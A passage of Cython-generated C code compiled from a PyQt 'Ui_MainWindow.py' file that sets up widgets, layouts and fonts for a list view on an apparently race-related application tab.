__pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__225, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 374, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":375 * self.RR_findNumber.setMaxLength(5) * self.RR_findNumber.setPlaceholderText("") * self.RR_findNumber.setObjectName("RR_findNumber") # <<<<<<<<<<<<<< * self.horizontalLayout_7.addWidget(self.RR_findNumber) * self.gridLayout_3.addLayout(self.horizontalLayout_7, 0, 0, 1, 1) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_findNumber); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 375, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 375, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__226, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 375, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":376 * self.RR_findNumber.setPlaceholderText("") * self.RR_findNumber.setObjectName("RR_findNumber") * self.horizontalLayout_7.addWidget(self.RR_findNumber) # <<<<<<<<<<<<<< * self.gridLayout_3.addLayout(self.horizontalLayout_7, 0, 0, 1, 1) * self.L_RList = QtWidgets.QListWidget(self.T_Racer_Race) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_7); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 376, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_addWidget); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 376, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_findNumber); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 376, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_2) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 376, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_4}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 376, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_4}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 376, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 376, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_1, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 376, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":377 * self.RR_findNumber.setObjectName("RR_findNumber") * self.horizontalLayout_7.addWidget(self.RR_findNumber) * self.gridLayout_3.addLayout(self.horizontalLayout_7, 0, 0, 1, 1) # <<<<<<<<<<<<<< * self.L_RList = QtWidgets.QListWidget(self.T_Racer_Race) * self.L_RList.setGeometry(QtCore.QRect(0, 0, 256, 491)) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_gridLayout_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 377, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_addLayout); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 377, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_7); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 377, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[6] = {__pyx_t_4, __pyx_t_3, __pyx_int_0, __pyx_int_0, __pyx_int_1, __pyx_int_1}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 5+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 377, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[6] = {__pyx_t_4, __pyx_t_3, __pyx_int_0, __pyx_int_0, __pyx_int_1, __pyx_int_1}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 5+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 377, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_2 = PyTuple_New(5+__pyx_t_8); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 377, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (__pyx_t_4) { __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_4); __pyx_t_4 = NULL; } __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_2, 0+__pyx_t_8, __pyx_t_3); __Pyx_INCREF(__pyx_int_0); __Pyx_GIVEREF(__pyx_int_0); PyTuple_SET_ITEM(__pyx_t_2, 1+__pyx_t_8, __pyx_int_0); __Pyx_INCREF(__pyx_int_0); __Pyx_GIVEREF(__pyx_int_0); PyTuple_SET_ITEM(__pyx_t_2, 2+__pyx_t_8, __pyx_int_0); __Pyx_INCREF(__pyx_int_1); __Pyx_GIVEREF(__pyx_int_1); PyTuple_SET_ITEM(__pyx_t_2, 3+__pyx_t_8, __pyx_int_1); __Pyx_INCREF(__pyx_int_1); __Pyx_GIVEREF(__pyx_int_1); PyTuple_SET_ITEM(__pyx_t_2, 4+__pyx_t_8, __pyx_int_1); __pyx_t_3 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_2, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 377, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":378 * self.horizontalLayout_7.addWidget(self.RR_findNumber) * self.gridLayout_3.addLayout(self.horizontalLayout_7, 0, 0, 1, 1) * self.L_RList = QtWidgets.QListWidget(self.T_Racer_Race) # <<<<<<<<<<<<<< * self.L_RList.setGeometry(QtCore.QRect(0, 0, 256, 491)) * font = QtGui.QFont() */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 378, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QListWidget); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 378, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_T_Racer_Race); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 378, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_3) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 378, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_1}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 378, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_1}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 378, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 378, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_4, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 378, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_L_RList, __pyx_t_7) < 0) __PYX_ERR(0, 378, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":379 * self.gridLayout_3.addLayout(self.horizontalLayout_7, 0, 0, 1, 1) * self.L_RList = QtWidgets.QListWidget(self.T_Racer_Race) * self.L_RList.setGeometry(QtCore.QRect(0, 0, 256, 491)) # <<<<<<<<<<<<<< * font = QtGui.QFont() * font.setFamily("Bitstream Charter") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_L_RList); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 379, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setGeometry); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 379, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 379, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QRect); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 379, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__227, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 379, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_1) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_2); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 379, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_2}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 379, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_2}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 379, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 379, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_3, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 379, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":380 * self.L_RList = QtWidgets.QListWidget(self.T_Racer_Race) * self.L_RList.setGeometry(QtCore.QRect(0, 0, 256, 491)) * font = QtGui.QFont() # <<<<<<<<<<<<<< * font.setFamily("Bitstream Charter") * font.setPointSize(10) */ __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtGui); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 380, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QFont); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 380, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (__pyx_t_4) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 380, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else { __pyx_t_7 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 380, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF_SET(__pyx_v_font, __pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":381 * self.L_RList.setGeometry(QtCore.QRect(0, 0, 256, 491)) * font = QtGui.QFont() * font.setFamily("Bitstream Charter") # <<<<<<<<<<<<<< * font.setPointSize(10) * font.setBold(False) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setFamily); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 381, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__228, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 381, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":382 * font = QtGui.QFont() * font.setFamily("Bitstream Charter") * font.setPointSize(10) # <<<<<<<<<<<<<< * font.setBold(False) * font.setItalic(False) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setPointSize); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 382, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__229, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 382, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":383 * font.setFamily("Bitstream Charter") * font.setPointSize(10) * font.setBold(False) # <<<<<<<<<<<<<< * font.setItalic(False) * font.setWeight(50) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setBold); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 383, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__230, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 383, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":384 * font.setPointSize(10) * font.setBold(False) * font.setItalic(False) # <<<<<<<<<<<<<< * font.setWeight(50) * font.setKerning(False) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setItalic); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 384, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__231, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 384, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":385 * font.setBold(False) * font.setItalic(False) * font.setWeight(50) # <<<<<<<<<<<<<< * font.setKerning(False) * self.L_RList.setFont(font) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setWeight); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 385, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__232, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 385, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":386 * font.setItalic(False) * font.setWeight(50) * font.setKerning(False) # <<<<<<<<<<<<<< * self.L_RList.setFont(font) * self.L_RList.setMouseTracking(True) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setKerning); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 386, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__233, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 386, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":387 * font.setWeight(50) * font.setKerning(False) * self.L_RList.setFont(font) # <<<<<<<<<<<<<< * self.L_RList.setMouseTracking(True) * self.L_RList.setAcceptDrops(True) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_L_RList); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 387, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setFont); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 387, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_3) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_v_font); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 387, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_v_font}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 387, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_v_font}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 387, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 387, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_INCREF(__pyx_v_font); __Pyx_GIVEREF(__pyx_v_font); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_v_font); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_2, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 387, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":388 * font.setKerning(False) * self.L_RList.setFont(font) * self.L_RList.setMouseTracking(True) # <<<<<<<<<<<<<< * self.L_RList.setAcceptDrops(True) * self.L_RList.setStyleSheet("font: 10pt \"Bitstream Charter\";") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_L_RList); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 388, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setMouseTracking); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 388, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__234, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 388, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":389 * self.L_RList.setFont(font) * self.L_RList.setMouseTracking(True) * self.L_RList.setAcceptDrops(True) # <<<<<<<<<<<<<< * self.L_RList.setStyleSheet("font: 10pt \"Bitstream Charter\";") * self.L_RList.setInputMethodHints(QtCore.Qt.ImhPreferLatin) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_L_RList); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 389, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAcceptDrops); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 389, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__235, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 389, __pyx_L1_error) 